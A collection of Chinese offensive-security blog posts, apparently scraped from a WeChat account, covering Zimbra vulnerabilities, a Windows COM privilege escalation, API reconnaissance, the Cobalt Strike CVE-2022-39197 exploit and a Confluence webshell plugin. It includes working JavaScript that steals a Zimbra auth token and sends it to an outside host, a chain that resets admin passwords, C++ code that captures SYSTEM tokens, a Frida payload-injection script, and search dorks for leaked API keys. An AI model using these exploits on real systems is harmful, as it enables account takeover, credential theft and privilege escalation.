SOAP API 处理类都为com.zimbra.soap.DocumentHandler#handle，其它处理类都继承于这个类，默认needsAuth返回为true，needsAdminAuth默认为false，只有子类重写了这个方法权限认证才会改变。这里我们又可以得到一批未授权接口

3.JSP

zimbra及zimbraAdmin下存在可访问的jsp文件，通过include进行权限认证

其它安全机制

CVE-2019-9670 之后，zimbra全局使用com.zimbra.common.soap.W3cDomUtil处理XML文档，做了DTD的禁用

四、漏洞相关

1.漏洞概览

2.漏洞信息跟进

https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories

2 漏洞自动化利用相关

路由信息明确后可以进行简单的自动化污点分析

五、CVE-2023-34192

是一个前台的XSS，由于限制了httponly，所以需要找其它的点来回显cookie进而得到攻击者认证凭证，这也是漏洞评级为high的原因

var xhr = new XMLHttpRequest();

xhr.open('get', '/public/authorize.jsp');xhr.send();


xhr.onload = function() {    const responseHtml = xhr.response;
    const parser = new DOMParser();    const doc = parser.parseFromString(responseHtml, "text/html");    const zauthtokenValue = doc.getElementsByName("zauthtoken")[0].value;
    console.log(zauthtokenValue);    // alert(zauthtokenValue);


    var script = document.createElement('script');    script.src = 'http://192.168.220.1:9999/?authtoken="'+zauthtokenValue+'.js';    document.body.insertBefore(script, document.body.firstChild);

};

Vulnerability verification screenshot

如果很幸运的我们可以访问到7071端口，那么当管理员点击而已连接时，可以通过js构造发包进行RCE，首先管理员点击后会自动更改密码，然后利用后台接口进行任意文件上传进行RCE，js构造如下：

var xhr = new XMLHttpRequest();

xhr.open("POST", "/service/admin/soap/AuthRequest");xhr.setRequestHeader("Content-Type", "application/soap+xml;charset=UTF-8");xhr.send('<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"><userAgent xmlns="" name="ZimbraWebClient - FF111 (Win)"/><session xmlns="" id="360"/><authTokenControl xmlns="" voidOnExpired="1"/><format xmlns="" type="js"/></context></soap:Header><soap:Body><AuthRequest xmlns="urn:zimbraAdmin" refresh="1"><virtualHost xmlns="">localhost</virtualHost><csrfTokenSecured xmlns="">1</csrfTokenSecured></AuthRequest></soap:Body></soap:Envelope>');

xhr.onload = function() {  var response = JSON.parse(xhr.response);

  var csrf_token = response.Body.AuthResponse.csrfToken._content;

  var xhr2 = new XMLHttpRequest();

  xhr2.open("POST", "/service/admin/soap/GetInfoRequest");  xhr2.setRequestHeader("Content-Type", "application/soap+xml;charset=UTF-8");  xhr2.setRequestHeader("X-Zimbra-Csrf-Token", csrf_token);  xhr2.send('<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"><userAgent xmlns="" name="ZimbraWebClient - FF111 (Win)"/><session xmlns="" id="360"/><format xmlns="" type="js"/></context></soap:Header><soap:Body><GetInfoRequest xmlns="urn:zimbraAccount"/></soap:Body></soap:Envelope>');

  xhr2.onload = function() {    var response = JSON.parse(xhr2.response);

    var id= response.Body.GetInfoResponse.id;

    var zids = [];    zids.push( id);

    console.log(zids.length); // 在这里打印所有的会话。

    for (var i = 0; i < zids.length; i++) {      var setPasswordRequest = '<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"><userAgent xmlns="" name="ZimbraWebClient - FF111 (Win)"/><format xmlns="" type="js"/></context></soap:Header><soap:Body><SetPasswordRequest xmlns="urn:zimbraAdmin"><id xmlns="">' + zids[i] + '</id><newPassword xmlns="">7777777</newPassword></SetPasswordRequest></soap:Body></soap:Envelope>';

      var xhr3 = new XMLHttpRequest();

      xhr3.open("POST", "/service/admin/soap/SetPasswordRequest");      xhr3.setRequestHeader("Content-Type", "application/soap+xml;charset=UTF-8");      xhr3.setRequestHeader("X-Zimbra-Csrf-Token", csrf_token);      xhr3.send(setPasswordRequest);

      xhr3.onload = function() {        console.log("Set password for " + zids[i] + ":", xhr3.response);      };    }  };};

六、总结

文章分析浅薄，更多攻击面有待继续挖掘

PS:想要RCE这套东西利用难度还是很曲折的，实战基本不太能用，所以选择了交给官方处理，还有一个比较有意思的事情，刚开始挖掘捡到一个SSRF，官方邮件的态度是爱答不理，当这个洞交上去之后，对方极其热情，很痛快的开始修复措施以及分配了漏洞编号，笑死，卑微如我，奶思~

阅读原文

跳转微信打开

Balckhat 2023 & ISC 2022

2333333333333

阅读原文

跳转微信打开

再接再厉

​

阅读原文

跳转微信打开

自Window10 1803/Server2016及以上打了微软的补丁后，基于OXID 反射NTLM提权已经失效，代表作如JuicyPotato、SweetPotato，本文将从COM开发与调用开始，寻找替代OXID 反射NTLM提权的方法

一、概述

自从Window10 1803/Server2016及以上打了微软的补丁之后，基于OXID 反射NTLM提权已经失效了，代表作如JuicyPotato、SweetPotato，

本文将从COM开发与调用开始，寻找替代OXID 反射NTLM提权的方法

二、关于COM对象

COM对象即“组件对象模型”，是一个独立于平台、分布式、面向对象的系统。它定义了一组接口和规则，用于在不同编程语言和运行环境之间交换信息和实现跨平台计算。

COM对象是COM模型中的核心概念，它表示一个可被其他程序访问和使用的组件。通常情况下，一个COM对象由两部分组成：一个接口（Interface）和一个实现（Implementation）。接口定义了该对象的功能和行为，实现则实现了接口的具体功能。

COM对象的优点在于它具有跨语言、跨平台的特性，使得不同语言、不同平台的程序能够相互调用和协作。另外，COM对象的接口和实现分离的设计方式，使得它能够更好地支持多态和继承。

总之，COM对象是COM模型中的核心概念，它表示一个可被其他程序访问和使用的组件。它由接口和实现两部分组成，接口定义了对象的功能和行为，实现则实现了接口的具体功能。COM对象具有跨语言、跨平台的特性，使得不同语言和不同平台的程序能够相互调用和协作。它的接口和实现分离的设计方式提高了程序的可重用性和可维护性。

三、COM与DCOM对象的区别

COM（组件对象模型）是一种用于在不同软件组件之间进行通信的技术，它提供了一种方法，允许开发人员创建可以在多个软件组件之间共享的对象，从而提高了软件开发的灵活性和可重用性。

DCOM（分布式组件对象模型）是一种在网络上运行的分布式技术，它扩展了COM的功能，使得可以在不同的计算机之间进行通信和交互。

因此，COM是在客户端计算机的本地级别执行的，而DCOM则是在服务器端运行的。这意味着，DCOM比COM更具有分布式特性，可以在不同的计算机之间进行通信和交互。此外，DCOM还可以为远程组件提供安全性和访问控制，从而提高了系统的安全性。

DCOM可以为远程组件提供安全性和访问控制。它通过使用不同的安全机制，如身份验证和授权，来保护远程组件的数据和资源。这样可以防止未经授权的用户访问组件，从而提高了系统的安全性。

另外，DCOM还支持跨网络的通信，即可以在不同的网络中的计算机之间进行通信。这使得系统可以更好地支持分布式应用程序，提高了系统的可用性和可扩展性。

总之，DCOM是一种扩展了COM的技术，用于在不同的计算机之间进行通信和交互。它提供了安全性和访问控制，并支持跨网络的通信，可以更好地支持分布式应用程序。

四 、OBJREF

在DCOM中，OBJREF（对象引用）是一个重要的概念。它表示一个远程对象的引用，用于在远程调用时传递对象的信息。OBJREF包含了对象的OXID、OID和IPID等信息，用于指定对象的位置和接口。

OXID（对象交互标识符）是OBJREF中的一个重要部分，它表示一个远程对象的唯一标识符，用于在远程调用时识别该对象。OXID通常由一个GUID和一个服务器地址组成，用于指定该对象所在的计算机。

OID（对象标识符）也是OBJREF中的一个重要部分，它表示一个对象的唯一标识符，用于在单个计算机中识别该对象。OID通常由一个GUID组成，用于唯一标识一个对象。

IPID（对象接口标识符）也是OBJREF中的一个重要部分，它表示一个对象的接口的唯一标识符，用于在单个计算机中识别该接口。IPID通常由一个GUID组成，用于唯一标识一个接口。

在DCOM中，OBJREF是一个重要的概念，它表示一个远程对象的引用。OBJREF包含了对象的OXID、OID和IPID等信息，用于指定对象的位置和接口。在进行远程调用时，OBJREF用于传递对象的信息，从而实现对象的交互和通信。

五、JuicyPotato的原理

JuicyPotato使用CoGetInstanceFromIStorage触发远程调用，CoGetInstanceFromIStorage是一个Windows API函数，用于从一个存储对象中获取COM对象的实例。它可以通过指定服务器信息、类标识符、外部接口、上下文环境和存储对象来创建一个新的COM对象实例，并通过指定接口标识符来返回该实例。它可以用于在应用程序中访问和使用存储在存储对象中的COM对象。

在调用CoGetInstanceFromIStorage创建对象时会触发传入的IStorage接口进行加载对象，在加载对象时JuicyPotato将反序列化的类型设置成“00000306-0000-0000-C000-000000000046”PointerMoniker

PointerMoniker指的是对象的引用，也就是说在调用CoGetInstanceFromIStorage时，COM服务会获取反序列化的Class类型，然后根据类型进行下一步反序列化。

然后JuicyPotato在IStorage MarshalInterface序列化对象时，写入了引用的对象，并且将对象引用的端口监听地址修改成自己启动的假的IRemUnknownServer

然后JuicyPotato会对来自COM Server的流量进行解析，解析出NTLM认证信息再通过AcceptSecurityContext获取Token。

但是Window10 1803/Server2016 COM Server就强制规定了OXID解析的端口是135并且还是匿名登录。

六、调用COM时的对象引用与PrintNotifyPotato

当我们在调用COM方法时，有些方法可能要求我们提供一个IUnknown对象或者IDispatch，当COM Server去操作我们提供的IUnknown对象时，COM Serve会回调我们实现的对象，我们就可以通过CoImpersonateClient去模拟COM Server。

来自COM Server的调用我们实现的QueryInterface方法，我们可以在实现的QueryInterface方法模拟COM Server的权限

Demo

// PrintNotifyDemo.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//
#include <iostream>#include "ole2.h"#include <comdef.h>#include <printerextension.h>#include <sddl.h>

GUID PrintNotifyGUID = { 0x854a20fb,0x2d44,0x457d,{0x99,0x2f,0xef,0x13,0x78,0x5d,0x2b,0x51} };


IID IID_FakeInterface = { 0x6EF2A660, 0x47C0, 0x4666, { 0xB1, 0x3D, 0xCB, 0xB7, 0x17, 0xF2, 0xFA, 0x2C, } };
class FakeObject : public IUnknown{  LONG m_lRefCount;

  void TryImpersonate(){    if (*m_ptoken == nullptr)    {      HRESULT hr = CoImpersonateClient();      if (SUCCEEDED(hr))      {        HANDLE hToken;        if (OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, FALSE, &hToken))        {          PTOKEN_USER user = (PTOKEN_USER)malloc(0x1000);          DWORD ret_len = 0;
          if (GetTokenInformation(hToken, TokenUser, user, 0x1000, &ret_len))          {            LPWSTR sid_name;
            ConvertSidToStringSid(user->User.Sid, &sid_name);
            if ((wcscmp(sid_name, L"S-1-5-18") == 0) && (*m_ptoken == nullptr))            {              *m_ptoken = hToken;              RevertToSelf();            }            else            {              CloseHandle(hToken);            }
            printf("Got Token: %p %ls\n", hToken, sid_name);            LocalFree(sid_name);          }          else          {            printf("Error getting token user %d\n", GetLastError());          }          free(user);        }        else        {          printf("Error opening token %d\n", GetLastError());        }      }    }  }
public:  HANDLE* m_ptoken;  //Constructor, Destructor  FakeObject(HANDLE* ptoken) {    m_lRefCount = 1;    m_ptoken = ptoken;    *m_ptoken = nullptr;  }
  ~FakeObject() {};
  //IUnknown  HRESULT __stdcall QueryInterface(REFIID riid, LPVOID* ppvObj){    TryImpersonate();
    if (riid == __uuidof(IUnknown))    {      *ppvObj = this;    }    else if (riid == IID_FakeInterface)    {      printf("Check for FakeInterface\n");      *ppvObj = this;    }    else    {      *ppvObj = NULL;      return E_NOINTERFACE;    }
    AddRef();    return NOERROR;  }
  ULONG __stdcall AddRef(){    TryImpersonate();    return InterlockedIncrement(&m_lRefCount);  }
  ULONG __stdcall Release(){    TryImpersonate();    // not thread safe    ULONG  ulCount = InterlockedDecrement(&m_lRefCount);
    if (0 == ulCount)    {      delete this;    }
    return ulCount;  }};

int main(){  // 初始化COM运行时  CoInitialize(NULL);  //初始化COM运行时上下文  HRESULT hr;
  IMonikerPtr pFakeObj;  HANDLE ptoken = NULL;
  FakeObject* fakeObject = new FakeObject(&ptoken);

  //CreatePointerMoniker(fakeObject, &pFakeObj);
  IUnknown* pPrintNotify = NULL;
  hr = CoCreateInstance(PrintNotifyGUID, NULL,    CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pPrintNotify));
  if (SUCCEEDED(hr))  {    IConnectionPointContainer* pIPrinterExtensionServerEventCallbackInternal;
    hr = pPrintNotify->QueryInterface<IConnectionPointContainer>(&pIPrinterExtensionServerEventCallbackInternal);
    IEnumConnectionPoints* pIEnumConnectionPoints;
    hr = pIPrinterExtensionServerEventCallbackInternal->EnumConnectionPoints(&pIEnumConnectionPoints);

    LPCONNECTIONPOINT pCONNECTIONPOINT;    ULONG fetched;
    hr = pIEnumConnectionPoints->Next(1, &pCONNECTIONPOINT, &fetched);
    DWORD cookie;
    hr = pCONNECTIONPOINT->Advise(fakeObject, &cookie);
    printf("Got Token At :%p\n", fakeObject->m_ptoken);  }  else  {    printf("CoCreateInstance fail hr: %d\n",hr);  }



  std::cout << "Hello World!\n";  return 0;}

回到我们的IIS服务器，我发现创建PrintNotify失败了？

它只允许以下用户组该怎么办？

通过查找我发现一个工具可以获取INTERACTIVE用户组，https://github.com/antonioCoco/RunasCs

在调用LogonUser方法时，lsasrv不会校验用户所有的权限和用户组，直接为当前Token添加INTERACTIVE组，然后剩下的工作照常运行，PrintNotifyPotato可以在Windows 2012-2022运行

https://github.com/BeichenDream/PrintNotifyPotato

引用

http://code.google.com/p/google-security-research/issues/detail?id=128

阅读原文

跳转微信打开

搬运一下外网的一个关于API Security 的思维导图

最近API安全概念停火的，正好前一阵在Twitter上看到一个API安全的思维导图，感觉很全面，在这里稍微总结下。

API Security

https://dsopas.github.io/MindAPI/play/

一、框架识别

1.API框架种类

(1) REST APIs

RESTful 、OData

(2) GraphQL

这里有一个关于GraphQL的测试项目

https://github.com/nicholasaleks/graphql-threat-matrix

(3) SOAP

SOAP 很熟悉了，也就是WebService，开源的Service框架有Apache CXF、以及Apache AXIS1 2等

(4) XML-RPC

以更简单的 XML 格式传输数据,这里很容易联想到Apache OFbiz XML-RPC 反序列化漏洞

(5) JSON-RPC

以JSON格式化方式传输数据

(6) gRPC-Protobuf

可以从header头、Content-Type、以及Access-control-expose-headers 响应头

2.API框架简介相关文档

https://smartbear.com/blog/soap-vs-rest-whats-the-difference/

https://www.odata.org/documentation/

https://www.howtographql.com/basics/1-graphql-is-the-better-rest/

https://www.smashingmagazine.com/2016/09/understanding-rest-and-rpc-for-http-apis/

https://www.soapui.org/docs/rest-testing/working-with-rest-services/

https://cloud.google.com/blog/products/api-management/understanding-grpc-openapi-and-rest-and-when-to-use-them

https://openapi.tools/

二、一些框架自带URL特征

三、如何黑盒进行API信息收集

这里主要列出了一些API接口测试的工具和网站及技巧

工具：Burp、mitmproxy、Wireshark、APKLeaks、APKEnum、Api-Guesser、Keyhacks

Google搜索技巧：site:target.tld inurl:api 、intitle:"index of" "api.yaml" site:target.tld、

WADL WSDL：inurl:/application.wadl、user filetype:wadl、ext:wadl、user filetype:wsd、ext:wsdl、

OData：Inurl:/%24metadata

Github：https://github.com/search?q=target.tld+%252Bapi

https://github.com/search?q=target.tld+application.wadl&type=code

https://github.com/search?q=target.tld+*.wsdl&type=code

其他：intitle:"index of" intext:"apikey.txt" site:target.tld、allintext:"API_SECRET*" ext:env | ext:yml site:target.tld

https://github.com/dxa4481/truffleHog

https://github.com/eth0izzle/shhgit

一些API聚合以及搜索网站：

https://apilist.fun/

https://apiharmony-open.mybluemix.net/public

https://www.programmableweb.com/

https://rapidapi.com/hub

http://apis.io/

https://app.swaggerhub.com/search

https://apis.guru/

https://www.postman.com/explore/apis

https://any-api.com/

https://smart-api.info/registry

https://www.apistack.io/

https://public-apis.xyz/

API字典及枚举工具：

四、API接口测试

1.一些工具

REST APIs：https://github.com/flipkart-incubator/Astra

https://github.com/bncrypted/apidor

https://github.com/SecurityInnovation/AuthMatrix

https://github.com/PortSwigger/autorize

https://github.com/portswigger/auth-analyzer

https://github.com/ant4g0nist/Susanoo

GraphQL：https://github.com/doyensec/inql

https://gitlab.com/dee-see/graphql-path-enum

https://graphql-dashboard.herokuapp.com/

gRPC：https://github.com/trailofbits/protofuzz

2.突破身份验证

(1).身份校验类型

JWT相关测试工具：https://github.com/ticarpi/jwt_tool

https://github.com/lmammino/jwt-cracker

https://github.com/aress31/jwtcat

https://github.com/wallarm/jwt-heartbreaker

此外JWT Checklist：https://cloud.tencent.com/developer/article/1552824

Oauth

重定向测试：?redirect_uri、XSS、CSRF

Basic 认证

3.其他测试项

阅读原文

跳转微信打开

CVE-2022-39197 Cobalt Strike < 4.7.1 RCE Analyze

https://mp.weixin.qq.com/s/l5e2p_WtYSCYYhYE0lzRdQ

漂亮鼠，公众号：赛博回忆录最新CS RCE曲折的复现路

0x00 Preface

Just a few days ago, BeichenDream submitted an RCE vulnerability to the CS official. Through this vulnerability, the data containing xss can be sent to the teamserver after capturing the attacker's beacon. After reflection, RCE is finally executed on the attacker's client. , the vulnerability number is CVE-2022-39197. It can be seen that this is an unpredictable anti-hacker magic hole, Anfuzi's nightmare. Since it was a loophole in beating jb boy, it must be reproduced, so I made up my mind to burn the essence of life, and finally stumbled and completely reproduced the loophole with the strong support of friends, especially Master Panda. Looking back at the past few days, I really learned a carload of things. You are also welcome to join the Cyber Memoir Knowledge Planet . I will continue to update my src automatic scanning transformation in the future. I hope you like it.

0x01 starting point

I believe that everyone has seen inserting img tags to get a bounced get request in the past few days. For example, writing in UI components <html><img src=x>will get this effect.

This is a demo java swing code. When I directly enter the payload in jlabel, I will get an image that fails to render. Anyone who has learned the basics of xss knows that this is how the rendering of the img tag of html fails. This also means that if the remote address is filled in, a get request will be sent to the remote server. This is also the most common basic use these days. So why is this? Yes, this is the feature that comes with swing (a java GUI library), and it is the starting point of everything.

We directly google swing html, the first one is the official teaching you how to use html tags in swing.https://docs.oracle.com/javase/tutorial/uiswing/components/html.html

See, the document directly tells us a fact: inserting a <html>tag at the beginning of the content and subsequent content will be formatted as an html document for parsing, which means that html tags are supported. A key point here is at the beginning of the text , which means that it must be inserted at the beginning <html>. This point is very important to remember. Most of the Rooters see this, and they may obviously think that since they support html tags, it is possible to use a set of XSS to RCE. It seems that Beichen is not that great, so I plug in one directly.

<script>alert(1)</script>
<script>window.open('file://xxxx/calc.exe')</script>

You can play how you want, and you can even introduce external js files for more XSS2RCE. This vulnerability is nothing special, but he Beichen discovered this feature. Obviously, things are not that simple, and even more complex than you think.

0x02 swing's html parser

Anyone who has done a blind test will find that the script tag is not effective, not only the script tag, but also many standard tags are more or less limited by some functions in the swing scene. So where is the breakthrough point to achieve RCE? At this time, we need to find the answer from the swing code. Open the rt.jar package of jdk, we can locate the package content of swing

The next step is to find the answer in swing.

You can see that there is a set of html parser, let's open that HTML class and take a look

A lot of common html tags and attributes will be defined. If there are tag definitions, there must be tag parsing and the like. There are too many things and I don’t understand them very well. I will pick a few points and talk about them. First of all, he defines the tags and corresponding actions.

For example, the familiar link tag

will be associated with the linkaction

It will specifically judge whether rel is a stylesheet. If yes, you can use href to import external css, but if you check the attributes supported by link, you will find that there are a lot of types supported in the standard, and there will be a lot of tricky operations, but in Here he only has these two types that actually respond when measured.

From the comments and code, we can also see that the script tag is not supported. In fact, what is written here is not quite right, but at least it can be shown that these tags are not supported or the function is incomplete, which is actually the case. Then watch another episode

In the create method in HTMLEditorKit, you can see that different tags will correspond to the creation of different views

Here comes the key point, first look at the object tag, what is this? Let's follow up

By reading the comments, we can understand that this objectview basically instantiates a class that meets the requirements and passes parameters through param!  This has a natural deserialization smell, so this is a very likely breakthrough point for RCE. What we can do around this object tag suddenly breaks through from popup images to instantiating arbitrary classes. Let's take a look at the subsequent code

Obviously, the reflection calls and instantiates the class. It should be noted here that he also adds a restriction judgment, that is, the instance must inherit from Component, otherwise an exception will be thrown. This also greatly limits the scope of what we can do. Let's continue to follow setParameters to see how parameters are passed

To sum it up:

1. classid is passed in the class that needs to be instantiated, the class must inherit from Component
2. There must be a no-argument constructor, which seems to be because newinstant is the no-argument constructor called
3. There must be a XXX property of the setXXX method
4. The parameter passed to the setXXX method must accept a parameter of type string

Therefore, find the classes and properties that meet the above conditions, and then see what can be done after instantiation. For example, we can simply test a

You can see that jlabel has a parameterless construction method, and has the properties of setText that meet the conditions

Then we can construct

<html><object classid='javax.swing.JLabel'><parame name='Text' value='hahaha'>

In fact, it becomes a search for qualified classes and methods from the lib package to see if RCE can be finally achieved. Before looking for eligible classes, let's take a look at this tag. Suppose we have found a chain that can RCE, what does it look like?

Load a remote payload, such as jndi or something

<html><object classid='xxx.xxx.xxx.xxx'><parame name='XXX' value='http://xxx.xxx.xxx.xxx/payload'>

Or open a local exe directly

<html><object classid='xxx.xxx.xxx.xxx'><parame name='XXX' value='file:///System/Applications/Calculator.app'>

or command injection

<html><object classid='xxx.xxx.xxx.xxx'><parame name='XXX' value='";open http://www.baidu.com'>

Are these the most likely ones? As for which chain to use, I will not disclose it here. Interested students will follow this idea to find possible chains in hundreds of classes.  Next, regarding the length of the payload, no matter how you look at it, it has to be more than 60 or 70, which will lead to some subsequent restrictions.

0x03 CS's own limitations

Everyone knows how to use the simulated beacon protocol to insert img tags. I will briefly repeat here that  https://github.com/LiAoRJ/CS_fakesubmit this is a script to simulate the online package of beacon. It was used to play dos before, and now it can be used to insert payload. Specifically I will not repeat the usage in github. When the length of the inserted data is long, we will find a problem:

After adding the long payload here, the overall package length is 132 bytes, and his error message means that the entire space is only 117 bytes, which means that the payload has a maximum length limit. Let's analyze why there is a length limit in more detail. First, let's have a general understanding of the interaction process between beacon and team server. In fact, I am also a temporary Baidu article myself. Basically, I can find a similar protocol analysis article by searching.

I won't go into too much detail, you can read the article for yourself first https://www.ijiandao.com/2b/baijia/423712.html

In short, it is divided into two parts. The first part is the online package. The online package is the metadata encrypted by RSA inserted in the cookie. This metadata is the metadata, which generally contains some basic information such as user name, host name, operating system information and AES. KEY etc. The teamserver parses the data in the metadata and displays it on the home page. After obtaining the aes key from it, it is used to encrypt and decrypt the data related to subsequent tasks. And let's look at what's on the home page of CS's client

Yes, these are the familiar fields, most of the information in these fields comes from metadata. The data in the metadata is the data that we can control and insert into the teamserver for display. Back to the 117-byte limit, let's take a look at the code for CS

We came to the code of the teamserver of cs and searched for 117 directly:

Follow up with asymmetricCrypto.java to see

Let's look at the code of the fake client

Does it match up? There is a length field here. You can see that the server obtains the length field of our transmission for judgment. Then some students will ask, if I write a large payload, but pass the length to him, is it 1? It has passed the verification. The answer is no. The fundamental reason for this check is that the encryption algorithm of RSA itself limits the length of plaintext encryption.

The length of the RSA key used by cs to encrypt metadata is 128 bits, so subtracting 11 is exactly 117 bits. This rigid total length limit of the package body cannot be bypassed. So how far can the payload be compressed at most? Go back to the fake client and let's take a look

It can be seen that the big lumps in front cannot be changed. If it is not a number or the identification bit is written to death, it will be read and parsed by the teamserver one by one. Our payload is a string, you can simply think that the digital bits are not available. use. Only the computername, username, and processname can be written to the payload in the end, which correspond to these three on the interface.

Another point of knowledge here is that if we want to insert a valid payload, we can only insert all of them into one cell, instead of inserting a part of three cells for merging. So let's take a look at what these three fields look like in teamserver

It can be seen that the content \tof obtained by cutting the string, that is to say, if we do not use it, \twe can write all the content into one cell and save two bytes of tab symbols.

\x09That is , \tso we can get the maximum operable length by writing all of these directly to the payload. This length is 117-51=66, and then the magic number and 8 bytes of the length are subtracted, so it is the length limit of 66-8=58. Of course, this is the length limit of metadata, but if we enter the payload from the subsequent aes communication, it will not be subject to this limit, which will be discussed later.

0x04 Variables brought by the jdk version

Considering that metadata has payload restrictions, and as mentioned earlier, if you use the object tag, you will find that the length of 58 characters is not enough at all, and it cannot be compressed. If the chain you find is very complicated, it is even more impossible. . So what about going from a restricted payload to an unrestricted payload?

Generally speaking, in the browser scenario, it is easy to think of introducing an iframe tag to introduce an external page. Introducing an external page means introducing an external html tag, so the imported external html content will not be limited in length. But when we use the iframe tag to blindly test, we will find that there is no response. We're looking through the code, and I remember seeing the frame tag vaguely earlier

Implemented a tag called frame, we are too lazy to look at the code, just look at Baidu

Following this format, the frame tag has the familiar src attribute to import external pages. But if we don't set the frameset tag in the outer layer, it will report an error <html><frame src=x>

The solution is to set a frameset

<html><frameset rows=*><frame src=x>

Of course there is a little trick to further compress

<html>1<frame src=x>

This also works. This can successfully introduce external pages when the jdk version is high, but an error will be reported on jdk1.8 commonly known as j8 in java8

This is because the frame will force the type of its parent component to be converted to this type when rendering the frameview, but an error will be reported if the conversion fails. This problem is unsolvable in jdk1.8, which is why I thought it was impossible to bypass the length limit of the home page at the beginning (because I used jdk1.8). Well, in short, you can bypass the length limit of the home page by referring to the frame tag. So how to continue to attack the target in the case of jdk1.8?

0x05 Ignore the RCE of the jdk version

As explained earlier, the home page is limited by the length of the metadata, and almost only the frame tag can bypass the restriction, and it is impossible to use the frame tag to bypass the jdk1.8 version. So how do we attack? At this time, we have to settle for the next best thing, assuming that the attacker can interact with the beacon and see if RCE can be achieved. The answer is yes. As mentioned earlier, the interaction between beacon and teamserver is roughly divided into two parts: one is the RSA of the online package and the other is the AES issued by the subsequent commands, so we only need to inject data into the AES process issued by the command, then we can Ignore the length limit of metadata and perform RCE. This is very abstract, but it can be practical.

That is to say, except for the list on the home page and the eventlog, the echoes and interactions of all commands are transmitted in AES, so as long as the interface data we can see can be controlled, XSS attacks can be carried out! Here I use the frada script to hook the win api to modify the process name returned by tasklist, and rewrite the process name into the attack payload. When the attacker clicks the beacon to execute the listed process, as long as he browses to the process name with the payload, RCE will be executed. ! The modifications I made on the basis of this project https://github.com/TomAPU/poc_and_exp/blob/master/CVE-2022-39197/cobaltfire.py my frada script content is

import frida
import time
import argparse
def spoof_user_name(target,url):
    #spawn target process
    print('[+] Spawning target process...')
    pid=frida.spawn(target)
    session=frida.attach(pid)
    js='''
    var payload="<html>beacon.exe            <object classid='xxx.xxx.xxx.xxx'><param name='xxx'value='xxx'>"
    payload=Array.from(payload).map(letter => letter.charCodeAt(0))
    
    var Process32Next=Module.findExportByName("kernel32.dll", 'Process32Next')
    Interceptor.attach(Process32Next, {
        onEnter: function(args) {
            //var hProcessSnap=args[0]
            var info=args[1];
            this.info = info;
            //console.log(this.info);
            this.szExeFile=this.info.add(0x24);
            
           // console.log(this.szExeFile);
        },
        onLeave: function(retval) {
        if(Memory.readAnsiString(this.szExeFile) == 'beacon.exe')//当进程名称为beacon时修改其名称，可以替换成其他
        {
            Memory.writeByteArray(ptr(this.szExeFile), payload)
            console.log("find beacon.exe write payload")
        }
        
        
        //console.log(Memory.readAnsiString(this.szExeFile));
        
        
        }
    });
    '''#.replace('http://127.0.0.1/',url)
    script = session.create_script(js)
    script.load()
    #resume
    frida.resume(pid)
    print('[+] Let\'s wait for 10 seconds to ensure the payload sent!')
    #wait for 10 seconds
    time.sleep(1000)
    #kill
    frida.kill(pid)
    print('[+] Done! Killed trojan process.')
    exit(0)
def showbanner():
    #Thanks http://patorjk.com/ for creating this awesome banner
    banner=''' $$$$$$\            $$\                 $$\   $$\     $$$$$$$$\ $$\                     
$$  __$$\           $$ |                $$ |  $$ |    $$  _____|\__|                    
$$ /  \__| $$$$$$\  $$$$$$$\   $$$$$$\  $$ |$$$$$$\   $$ |      $$\  $$$$$$\   $$$$$$\  
$$ |      $$  __$$\ $$  __$$\  \____$$\ $$ |\_$$  _|  $$$$$\    $$ |$$  __$$\ $$  __$$\ 
$$ |      $$ /  $$ |$$ |  $$ | $$$$$$$ |$$ |  $$ |    $$  __|   $$ |$$ |  \__|$$$$$$$$ |
$$ |  $$\ $$ |  $$ |$$ |  $$ |$$  __$$ |$$ |  $$ |$$\ $$ |      $$ |$$ |      $$   ____|
\$$$$$$  |\$$$$$$  |$$$$$$$  |\$$$$$$$ |$$ |  \$$$$  |$$ |      $$ |$$ |      \$$$$$$$\ 
 \______/  \______/ \_______/  \_______|\__|   \____/ \__|      \__|\__|       \_______|
                                                        CVE-2022-39197 PoC by @TomAPU
                                                        
                                                        '''
    print(banner)
parser = argparse.ArgumentParser(description='''This is a PoC for CVE-2022-39197, allowing to disclose CobaltStrike users' IP addresses by an exploit of XSS.(Well, clearly I haven't figure out how to trigger an RCE).
WARNING: This tool works by executing the trojan generated by CobaltStrike and hooking GetUserNameA to add XSS payload to beat the server. So, please, execute it in a virtual machine!
Currently, this POC only supports X86 exe payloads, and of course, works on Windows.
''')
parser.add_argument('-t', '--target', help='target trojan sample', required=False)
parser.add_argument('-u', '--url', help='URL for server to load as img, considering the limit of length, it should be less than 20 bytes', required=False)
if __name__=='__main__':
    showbanner()
    args = parser.parse_args()
    if args.target and args.url:
        if len(args.url)>20:
            print('[-] URL should be shorter than 20 bytes :(')
            exit(-1)
        spoof_user_name(args.target,args.url)
    else:
        parser.print_help()

The writing of the frada script will not go into details, it is tired. In addition to this method, you can also https://github.com/darkr4y/geacondirectly modify and enter the payload based on the open source that has implemented a full set of protocols.

0x05 Repair suggestion

If it is fixed, you can use a temporary pudding posted by Orange Jam on the planet of Cyber Memoirs to turn off the HTML rendering of swing, which can temporarily solve this problem, but I now believe that the next wave of cs RCE may be soon. coming.

0x06 Summary

I really learned a lot in just a few days. I basically don’t understand java at all. Most of the time, I don’t know much about it. I would like to strongly thank the group friends, especially the master panda, for their support, who gave me So much help that my reproduction won't be too off the chain, if I alone estimate it will take at least two weeks to start. The whole process involves jdk and cs, and the complexity of the analysis is quite high. I have to say that Beichen is really awesome.

阅读原文

跳转微信打开

VMware Carbon Black Cloud Workload appliance update addresses incorrect URL handling vulnerability (CVE-2021-21982)

一年前分析过的漏洞，印象很深刻，内部分享的PPT，过生日放出来下 o(*￣▽￣*)ブ

阅读原文

跳转微信打开

无需密码任意用户登陆、添加管理员用户、枚举所有用户信息、枚举所有用户空间内所有信息等

功能简介

当你在Confluence拥有一个哥斯拉webshell之后，你就可以使用哥斯拉的Confluence后渗透插件

1. MakeToken

不需要密码登录任意用户 使用场景:sso/目标有严格的认证机制

2. AddAdminUser

添加一个可登录管理员用户

3. UpdatePassword

修改任意用户的密码

4. EnumAllUser

